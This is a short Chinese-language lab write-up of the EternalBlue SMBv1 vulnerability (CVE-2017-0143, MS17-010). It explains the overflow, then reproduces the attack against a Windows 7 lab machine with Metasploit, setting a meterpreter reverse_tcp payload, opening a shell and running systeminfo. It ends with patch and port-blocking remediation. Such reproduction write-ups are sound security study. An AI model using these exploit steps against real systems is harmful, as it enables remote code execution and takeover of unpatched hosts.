CVE-2017-0143-远程溢出漏洞(永恒之蓝 MS17-010)
漏洞描述
漏洞出现在 Windows SMB v1 的内核态函数 srv!SrvOs2FeaListToNt 处理 FEA(File Extended Attributes) 转换时,在 Large Non-Paged Kernel Pool 上存在缓冲区溢出
函数 srv!SrvOs2FeaListToNt 将 FEA list 转换成 NTFEA(Windows NT FEA) list 前调用 srv!SrvOs2FeaListSizeToNt 计算转换后的 FEA lsit 大小,计算大小错误,而导致缓冲区溢出。
方程式组织在漏洞利用框架中针对 SMB 服务进行攻击的漏洞,该漏洞导致目标系统上执行任意代码
复现
靶机: Windows 7
攻击机: Kali
使用 nmap 扫描靶机 存在 445 端口开放 使用 msf 进行攻击试探
search ms17_010
# 搜索 msf ms17 模块
use 3
# 使用第三个 payload 对靶机进行漏洞扫描监测
set RHOST 172.16.75.130
# 设置目标 IP 执行操作
run / exploit
# 可使用其中一个进行执行操作
通过执行后 显示可能存在漏洞
更换攻击模块 进行攻击
use 0
set RHOST 172.16.75.130
# 设置靶机地址
set payload windows/x64/meterpreter/reverse_tcp
# 设置攻击 payload
run
# 执行攻击操作
攻击成功
shell
# 进入命令行
systeminfo
# 查看靶机系统信息
修复
https://learn.microsoft.com/zh-cn/security-updates/securitybulletins/2017/ms17-010
# 官方修复地址 选择对应操作系统进行安装
添加系统入站规则;关闭 445、135、138、139 等端口